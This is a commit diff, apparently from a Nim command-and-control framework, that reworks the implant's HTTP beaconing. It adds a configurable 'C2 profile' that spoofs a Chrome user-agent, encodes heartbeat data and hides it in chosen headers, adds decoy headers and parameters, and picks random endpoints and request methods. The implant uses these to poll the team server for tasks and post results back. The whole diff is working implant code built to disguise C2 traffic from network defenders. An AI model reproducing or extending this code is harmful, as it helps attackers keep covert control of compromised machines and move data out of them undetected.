Added profile system to agent communication. Randomized URL endpoints/request methods and dynamic data transformation based on C2 profile. Profile is defined as compile-time string for now.
This commit is contained in:
@@ -1,25 +1,55 @@
|
||||
import httpclient, json, strformat, strutils, asyncdispatch, base64
|
||||
import httpclient, json, strformat, strutils, asyncdispatch, base64, tables, parsetoml, random
|
||||
|
||||
import ../../common/[types, utils]
|
||||
import ../../common/[types, utils, profile]
|
||||
import sugar
|
||||
proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
|
||||
|
||||
const USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
|
||||
let client = newAsyncHttpClient(userAgent = ctx.profile.getString("agent.user-agent"))
|
||||
var heartbeatString: string
|
||||
|
||||
proc httpGet*(config: AgentConfig, checkinData: seq[byte]): string =
|
||||
# Apply data transformation to the heartbeat bytes
|
||||
case ctx.profile.getString("http-get.agent.heartbeat.encoding.type", default = "none")
|
||||
of "base64":
|
||||
heartbeatString = encode(heartbeat, safe = ctx.profile.getBool("http-get.agent.heartbeat.encoding.url-safe")).replace("=", "")
|
||||
of "none":
|
||||
heartbeatString = Bytes.toString(heartbeat)
|
||||
|
||||
let prefix = ctx.profile.getString("http-get.agent.heartbeat.prefix")
|
||||
let suffix = ctx.profile.getString("http-get.agent.heartbeat.suffix")
|
||||
|
||||
let client = newAsyncHttpClient(userAgent = USER_AGENT)
|
||||
var responseBody = ""
|
||||
let payload = prefix & heartbeatString & suffix
|
||||
|
||||
# Define HTTP headers
|
||||
# The heartbeat data is placed within a JWT token as the payload (Base64URL-encoded)
|
||||
let payload = encode(checkinData, safe = true).replace("=", "")
|
||||
client.headers = newHttpHeaders({
|
||||
"Authorization": fmt"Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.{payload}.KMUFsIDTnFmyG3nMiGM6H9FNFUROf3wh7SmqJp-QV30"
|
||||
})
|
||||
# Add heartbeat packet to the request
|
||||
case ctx.profile.getString("http-get.agent.heartbeat.placement.type"):
|
||||
of "header":
|
||||
client.headers.add(ctx.profile.getString("http-get.agent.heartbeat.placement.name"), payload)
|
||||
of "parameter":
|
||||
discard
|
||||
of "uri":
|
||||
discard
|
||||
of "body":
|
||||
discard
|
||||
else:
|
||||
discard
|
||||
|
||||
# Define request headers, as defined in profile
|
||||
for header, value in ctx.profile.getTable("http-get.agent.headers"):
|
||||
client.headers.add(header, value.getStr())
|
||||
|
||||
# Define additional request parameters
|
||||
var params = ""
|
||||
for param, value in ctx.profile.getTable("http-get.agent.parameters"):
|
||||
params &= fmt"&{param}={value.getStr}"
|
||||
params[0] = '?'
|
||||
|
||||
# Select a random endpoint to make the request to
|
||||
var endpoint = ctx.profile.getArray("http-get.endpoints").getRandom().getStr()
|
||||
if endpoint[0] == '/':
|
||||
endpoint = endpoint[1..^1]
|
||||
|
||||
try:
|
||||
# Retrieve binary task data from listener and convert it to seq[bytes] for deserialization
|
||||
responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/get")
|
||||
return responseBody
|
||||
return waitFor client.getContent(fmt"http://{ctx.ip}:{$ctx.port}/{endpoint}{params}")
|
||||
|
||||
except CatchableError as err:
|
||||
# When the listener is not reachable, don't kill the application, but check in at the next time
|
||||
@@ -30,21 +60,26 @@ proc httpGet*(config: AgentConfig, checkinData: seq[byte]): string =
|
||||
|
||||
return ""
|
||||
|
||||
proc httpPost*(config: AgentConfig, data: seq[byte]): bool {.discardable.} =
|
||||
proc httpPost*(ctx: AgentCtx, data: seq[byte]): bool {.discardable.} =
|
||||
|
||||
let client = newAsyncHttpClient(userAgent = USER_AGENT)
|
||||
let client = newAsyncHttpClient(userAgent = ctx.profile.getString("agent.user-agent"))
|
||||
|
||||
# Define headers
|
||||
client.headers = newHttpHeaders({
|
||||
"Content-Type": "application/octet-stream",
|
||||
"Content-Length": $data.len
|
||||
})
|
||||
# Define request headers, as defined in profile
|
||||
for header, value in ctx.profile.getTable("http-post.agent.headers"):
|
||||
client.headers.add(header, value.getStr())
|
||||
|
||||
# Select a random endpoint to make the request to
|
||||
var endpoint = ctx.profile.getArray("http-post.endpoints").getRandom().getStr()
|
||||
if endpoint[0] == '/':
|
||||
endpoint = endpoint[1..^1]
|
||||
|
||||
let requestMethod = parseEnum[HttpMethod](ctx.profile.getArray("http-post.request-methods").getRandom().getStr("POST"))
|
||||
|
||||
let body = Bytes.toString(data)
|
||||
|
||||
try:
|
||||
# Send post request to team server
|
||||
discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/post", body)
|
||||
discard waitFor client.request(fmt"http://{ctx.ip}:{$ctx.port}/{endpoint}", requestMethod, body)
|
||||
|
||||
except CatchableError as err:
|
||||
echo "[-] " & err.msg
|
||||
|
||||
Reference in New Issue
Block a user